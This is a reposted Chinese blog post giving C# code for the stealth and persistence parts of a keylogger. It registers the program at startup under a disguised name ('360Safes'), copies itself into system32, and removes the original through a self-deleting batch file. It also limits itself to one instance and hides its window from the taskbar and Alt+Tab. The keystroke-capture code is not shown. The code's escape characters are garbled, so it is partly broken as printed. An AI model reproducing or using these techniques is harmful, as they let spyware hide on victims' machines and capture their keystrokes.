您的位置:首页 > 编程语言 > C#

C#编写的键盘记录程序备忘

2011-04-20 17:31 288 查看
http://www.cnblogs.com/gardenforu/archive/2011/04/20/2021734.html
众所周知的原因,C#并不是很适合编写这类特殊的程序。但还是和大家分享一点C#编写一个键盘记录程序的遇到的一些问题,希望对有需要的朋友有所帮助。
一、开机启动
最基本的是开机自启动,简单代码如下:
开机启动项有四个可选也可以同时添加
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/RunOnce
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/RunOnce
命名空间using Microsoft.Win32;
public void registryRun()
{
try
{
string s = "/""+System.Environment.SystemDirectory + "//" + System.IO.Path.GetFileName(Application.ExecutablePath)+"/"";
RegistryKey key1 = Registry.LocalMachine.CreateSubKey("Software//Microsoft//Windows//CurrentVersion//run");
key1.SetValue("360Safes",s );
key1.Close();
}
catch { }
}


在注册表开机启动项Run中建立了一个键360Safes(相对隐蔽一点,随意),键值为拷贝到system32的键盘记录程序。

卸载开机启动项:

public void DeleteRun()
{
try
{
RegistryKey key = Registry.LocalMachine;
RegistryKey soft = key.OpenSubKey(@"Software/Microsoft//Windows/CurrentVersion/run", true);
if (IsRegeditKeyExist(soft, "360Safes"))
{
MessageBox.Show("开机项已删除!");
}
else
{
MessageBox.Show("该开机项不存在");
}
key.Close();
soft.Close();
}
catch { }
}
//判断键值是否存在  有则删除
private bool IsRegeditKeyExist(RegistryKey RegBoot, string RegKeyName)
{
try
{
string[] subkeyNames;
subkeyNames = RegBoot.GetValueNames();
foreach (string keyName in subkeyNames)
{

if (keyName == RegKeyName)  //判断键值的名称
{
RegBoot.DeleteValue(keyName);
RegBoot.Close();
return true;
}
}
RegBoot.Close();
return false;
}
catch { return false; }

}


二、首次运行处理

首次运行键盘记录程序有几步操作(以mm.exe代替键盘记录程序),通过生成的批处理文件删除运行中的程序解决自删除问题。

简要流程:复制自身至system32 → 生成批处理并运行 → 退出程序 → 批处理完成删除程序,启动system32下的程序→ 批处理自删除

1. 判断当前运行程序mm.exe位置,如果不是位于system32文件夹则复制自身

private void MoveFile()
{
try
{
if (!File.Exists(System.Environment.SystemDirectory + "//" + System.IO.Path.GetFileName(Application.ExecutablePath)))
{
File.Move(Application.ExecutablePath, System.Environment.SystemDirectory + "//" + System.IO.Path.GetFileName(Application.ExecutablePath));
}
catch { }
}


2. 生成一个批处理, 执行删除文件操作

批处理里会判断mm.exe是不是存在,如不存在会一直执行删除,可以保证最终删除mm.exe。批处理实现是cmd下执行的一段代码,通过cmd来删除一个bat文件也不会有问题,所以批处理可以进行自删除。

public static void BeginKillSelf()
{
try
{
if (Application.StartupPath != System.Environment.SystemDirectory)
{
string vBatFile = Path.GetDirectoryName(Application.ExecutablePath) + "//a.bat";
using (StreamWriter vStreamWriter = new StreamWriter(vBatFile, false, Encoding.Default))
{
vStreamWriter.Write(string.Format(
":del/r/n" +
" del /"{0}/"/r/n" +
"if exist /"{0}/" goto del/r/n" +
"start /"/"  /"{1}/" /r/n" +  //启动system32下的mm.exe
"del %0/r/n", Application.ExecutablePath,  System.Environment.SystemDirectory + "//" + System.IO.Path.GetFileName(Application.ExecutablePath)) +                 // 删除mm.exe
"exit"  //退出cmd
);
}
WinExec(vBatFile, 0); Environment.Exit(0);
}
}

catch { }
}


 

WinExec是Windows API,声明如下:

[DllImport("kernel32.dll")]
public static extern uint WinExec(string lpCmdLine, uint uCmdShow);


3. mm.exe退出程序,批处理得以删除mm.exe

彻底退出程序用

Application.Exit();


4. 批处理运行System32下的mm.exe,再删除自身

三、只允许一个进程实例

启动时检查进程,如果发现程序已经运行则退出

private void RunAProcessAtOnce()
{
System.Diagnostics.Process[] pProcesses = System.Diagnostics.Process.GetProcessesByName(
System.Diagnostics.Process.GetCurrentProcess().ProcessName);
if (pProcesses.Length > 1)
{
Application.Exit();
return;
}
}


四、彻底窗体隐藏

彻底的将窗体隐藏有以下几条:

1.  窗体的ShowInTaskbar属性设为false

    WindowState设为启动最小化

    FormBordStyle为None

2. 隐藏Alt+Tab里的图标

重载SetVisibleCore

protected override void SetVisibleCore(bool value)
{
base.SetVisibleCore(value);
}


然后在窗体的Load事件写入 SetVisibleCore(false);即可
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐